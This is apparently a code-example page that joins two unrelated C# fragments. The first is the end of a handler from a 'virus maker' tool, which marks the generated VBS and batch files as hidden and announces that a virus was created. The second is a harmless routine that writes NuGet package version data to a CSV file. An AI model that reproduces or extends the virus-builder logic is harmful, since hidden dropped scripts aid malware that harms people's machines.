                            File.SetAttributes(vbsSavePath, File.GetAttributes(vbsSavePath) | FileAttributes.Hidden);
                            File.SetAttributes(batchSavePath, File.GetAttributes(batchSavePath) | FileAttributes.Hidden);
                        }
                        else if (fileVisibility.Text.ToUpper() != "HIDDEN")
                        {
                            DialogResult result = MessageBox.Show("The file visibility is not set to either 'visible' or 'hidden'. Would you like to correct this?" + newLine + "If no, any file visibility options will be ignored.",
                                                                  "Invalid Submission", MessageBoxButtons.YesNo, MessageBoxIcon.Warning);
                            if (result == DialogResult.Yes)
                            {
                                fileVisibility.Select();
                                return;
                            }
                        }
                    }

                    // Succession message
                    MessageBox.Show("Virus Successfully created at:" + newLine + virusMakerFolder, "Operation Complete", MessageBoxButtons.OK, MessageBoxIcon.Information);
                    if (defaultNameUsed) // adjust msgLog depending on defualtNameUsed
                    {
                        msgLog.Text += "Your virus was successfully created." + newLine;
                    }
                    else if (defaultNameUsed == false)
                    {
                        msgLog.Text += "'" + virusName.Text + "' successfully created." + newLine;
                    }

                    defaultNameUsed = false; // reset bool
                }
                catch (Exception ex)         // catch for overall button code
                {
                    MessageBox.Show(ex.Message, "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
                    msgLog.Text += "An error occured." + newLine;
                }
            }
        }
Exemple #60
0
        /// <summary>
        /// Dump as CSV for Excel Sorting and Filtering
        /// </summary>
        /// <param name="reportName"></param>
        static void DumpCsv(string reportName)
        {
            reportName = Path.ChangeExtension(reportName, ".csv");
            if (File.Exists(reportName))
            {
                File.Delete(reportName);
            }
            if (info.Count > 0)
            {
                var data    = info.AsQueryable <NugetInfo>();
                var results = data.OrderBy(p => p.Id).ThenBy(p => p.Major).ThenBy(p => p.Minor).ThenBy(p => p.Build).ThenBy(p => p.ProjectFile)
                              .Select(p => new { p.Id, p.Version, p.LatestVersion, p.ProjectFile }).ToList();

                using (System.IO.StreamWriter file = new System.IO.StreamWriter(reportName))
                {
                    file.Write('"');
                    file.Write("NuGet Package");
                    file.Write('"');
                    file.Write(',');
                    file.Write('"');
                    file.Write("Version");
                    file.Write('"');
                    file.Write(',');
                    file.Write('"');
                    file.Write("Latest");
                    file.Write('"');
                    file.Write(',');
                    file.Write('"');
                    file.Write("CsProj");
                    file.WriteLine('"');

                    foreach (var item in results)
                    {
                        file.Write('"');
                        file.Write(item.Id);
                        file.Write('"');
                        file.Write(",");
                        file.Write('"');
                        file.Write(item.Version);
                        file.Write('"');
                        file.Write(",");
                        file.Write('"');
                        file.Write(item.LatestVersion);
                        file.Write('"');
                        file.Write(",");
                        file.Write('"');
                        file.Write(item.ProjectFile);
                        file.WriteLine('"');
                    }
                }
                Console.WriteLine("CSV: {0}", reportName);
            }
        }